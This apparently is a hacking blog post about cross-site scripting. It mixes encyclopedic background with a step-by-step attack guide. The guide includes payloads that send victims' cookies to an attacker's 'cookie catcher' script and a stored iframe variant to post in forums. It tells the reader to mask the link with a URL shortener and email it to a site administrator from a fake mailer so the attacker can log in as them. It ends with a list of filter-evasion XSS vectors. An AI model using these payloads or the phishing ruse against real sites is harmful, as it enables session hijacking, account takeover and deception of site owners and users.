| Filename | XSS Attack - Cross Site Scripting |
| Permission | rw-r--r-- |
| Author | WhySoSeriousssssssssssss |
| Date and Time | 07:26 |
| Label | hack |
| Action |
Cross Site Scripting
Cross Site scripting holes are web-application vulnerabilities which allow attackers to bypass client- side security mechanisms normally imposed on web content by modern browsers. By finding ways of injecting malicious scripts into web pages, an attacker can gain elevated access privileges to sensitive page-content, session cookies, and a variety of other information maintained by the browser on behalf of the user. Cross-site scripting attacks are therefore a special case of code injection.
Non-persistent
Non-persistent XSS vulnerabilities in Google could allow malicious sites to attack Google users who visit them while logged in. The non-persistent (or reflected) cross-site scripting vulnerability is by far the most common type. These holes show up when the data provided by a web client, most commonly in HTTP query parameters or in HTML form submissions, is used immediately by server-side scripts to generate a page of results for that user, without properly sanitizing the request.
Because HTML documents have a flat, serial structure that mixes control statements, formatting, and the actual content, any non-validated user-supplied data included in the resulting page without proper HTML encoding, may lead to markup injection. A classic example of a potential vector is a site search engine: if one searches for a string, the search string will typically be redisplayed verbatim on the result page to indicate what was searched for. If this response does not properly escape or reject HTML control characters, a cross-site scripting flaw will ensue.
At first blush, this does not appear to be a serious problem: by submitting a malicious input to the web site, the user would only be able to compromise their own security context—that is, their own browser cookies, cache objects, and so forth. It is important to realize, however, that a third-party attacker may easily place hidden frames or deceptive links on unrelated sites and cause victims' browsers to navigate to URLs on the vulnerable site automatically—often completely in the back- ground—and in such a case, the attacker can intrude into the security context that rightfully belonged to the victim.
In this method you will make the victim admin go to your link. First you will pick a XSS vulnerable website. For this method you will need a search.php which that page is vulnerable to XSS and has cookies in that page. In the vuln search.php in the textbox for the word to search for type:
Code:
(script)alert(document.cookie)(/script)
NOTE: You have to change the () of the script tag into <> to execute the code. Just use the HTML code for the script tag.
Click the search button. If you see a javascript popup means its vuln to Non-Persistent XSS attack. Now you will do something similar.
Code:
(script)document.location="www.examplecom/cookie catcher.php?c=" + document.cookie(/script)
NOTE: You have to change the () of the script tag into <> to execute the code. Just use the HTML code for the script tag.
Now go to http://www.tinyurl.com and shrink the whole page's link. Try to find a site administrator's E-mail in that vulnerable website and send a fake mail from a online fake mailer. Now in the body just tell something fake like: "I found a bug in your website! And give the shrinked link of the search.php which you added the code infront of it to him. So the Tinyurl will mask it and once he goes to the link you will see his cookies in your cookies.html and he will just be redirected to the link in your cookies catcher. No matter what he does or changes his password you can still login as him.
Persistent
The persistent (or stored) XSS vulnerability is a more devastating variant of a cross-site scripting flaw: it occurs when the data provided by the attacker is saved by the server, and then permanently displayed on "normal" pages returned to other users in the course of regular browsing, without proper HTML escaping. A classic example of this is with online message boards where users are allowed to post HTML formatted messages for other users to read.
Persistent XSS can be more significant than other types because an attacker's malicious script is rendered automatically, without the need to individually target victims or lure them to a third-party website. Particularly in the case of social networking sites, the code would be further designed to self-propagate across accounts, creating a type of a client-side worm.
The methods of injection can vary a great deal; in some cases, the attacker may not even need to directly interact with the web functionality itself to exploit such a hole. Any data received by the web application that can be controlled by an attacker could become an injection vector.
Code:
(iframe frameborder=0 height=0 width=0 src=javascript:void(document.location="www.examplecom/cookie catcher.php?c=" + document.cookie)(/iframe)
NOTE: You have to change the () of the iframe tag into <> to execute the code. Just use the HTML code for the iframe tag.
Then post it in the forum or the comment box. Now this will open a iframe in the page which will allow you to have the same page in that website. If you don't know about iframes make a new html file in your computer and just do a (iframe src="www.google.com")(/iframe) and you will understand iframes more.
NOTE: The site needs to have cookies supported! A blank javascript means you need to go to another site.
Exploit scenarios
Attackers intending to exploit cross-site scripting vulnerabilities must approach each class of vulnerability differently. For each class, a specific attack vector is described here. The names below are technical terms, taken from the cast of characters commonly used in computer security.
Non-persistent:
- A often visits a particular website, which is hosted by B. B's website allows Alice to log in with a username/password pair and stores sensitive data, such as billing information.
- M observes that Bob's website contains a reflected XSS vulnerability.
- M crafts a URL to exploit the vulnerability, and sends A an email, enticing her to click on a link for the URL under false pretenses. This URL will point to Bob's website, but will contain M's malicious code, which the website will reflect.
- A visits the URL provided by Mallory while logged into Bob's website.
- The malicious script embedded in the URL executes in A's browser, as if it came directly from B's server (this is the actual XSS vulnerability). The script can be used to send A's session cookie to M. M can then use the session cookie to steal sensitive information available to Al (authentication credentials, billing info, etc.) without A's knowledge.
Persistent attack:
- M posts a message with malicious payload to a social network.
- When B reads the message, M's XSS steals B's cookie.
- M can now hijack B's session and impersonate B.
Framework:
A Browser Exploitation Framework could be used to attack the web site and the user's local environment.
Related vulnerabilities
Several classes of vulnerabilities or attack techniques are related to XSS: cross-zone scripting exploits zone concepts in certain browsers and usually executes code with a greater privilege. HTTP header injection can be used to create cross-site scripting conditions due to escaping problems on HTTP protocol level (in addition to enabling attacks such as HTTP response splitting).
Cross Site request forgery (CSRF/XSRF) is almost the opposite of XSS, in that rather than exploiting the user's trust in a site, the attacker (and his malicious page) exploits the site's trust in the client software, submitting requests that the site believes represent conscious and intentional actions of authenticated users.
SQL injection exploits a vulnerability in the database layer of an application. When user input is incorrectly filtered any SQL statements can be executed by the application.
XSS (Cross Site Scripting) Examples
NOTE: You have to change all the () in the codes into <> to execute the code. Just use the HTML code for the tags.
XSS locator
If you don't have much space and know there is no vulnerable JavaScript on the page, this string is a compact XSS injection check. View source after injecting it and look for XSS verses <XSS to see if it is vulnerable:
'';!--"=&{()}
Image XSS using the JavaScript directive (IE7.0 doesn't support the JavaScript directive in context of an image, but it does in other contexts, but the following show the principles that would work in other tags as well:
(IMG SRC="javascript:alert('XSS');")
No quotes and no semicolon:
(IMG SRC=javascript:alert('XSS'))
Case insensitive XSS attack vector:
(IMG SRC=JaVaScRiPt:alert('XSS'))
Malformed IMG tags. This XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes. This would make it significantly more difficult to correctly parse apart an HTML tag:
(IMG """)(SCRIPT)alert("XSS")(/SCRIPT)")
Extraneous open brackets. The double slash comments out the ending extraneous bracket to supress a JavaScript error:
((SCRIPT)alert("XSS");//((/SCRIPT)
XSS with no single quotes or double quotes or semicolons:
(SCRIPT)a=/XSS/
alert(a.source)(/SCRIPT)
End title tag. This is a simple XSS vector that closes
(/TITLE)(SCRIPT)alert("XSS");(/SCRIPT)
Remote Style Sheet (using something as simple as a remote style sheet you can include your XSS as the style parameter can be redefined using an embedded expression.) This only works in IE and in IE rendering engine mode. Notice that there is nothing on the page to show that there is included JavaScript. NOTE: With all of these remote style sheet examples they use the body tag, so it won't work unless there is some content on the page other than the vector itself, so you'll need to add a single letter to the page to make it work if it's an otherwise blank page:
(LINK REL="stylesheet" HREF="http://victim.org/xss.css")
Remote Style Sheet 2 (the same as above but uses a (STYLE) tag instead of a (LINK) tag). You can remove the end (/STYLE) tag if there is HTML immediately after the vector to close it:
(STYLE)@import'http://victim.org/xss.css';(/STYLE)
0 comments:
Post a Comment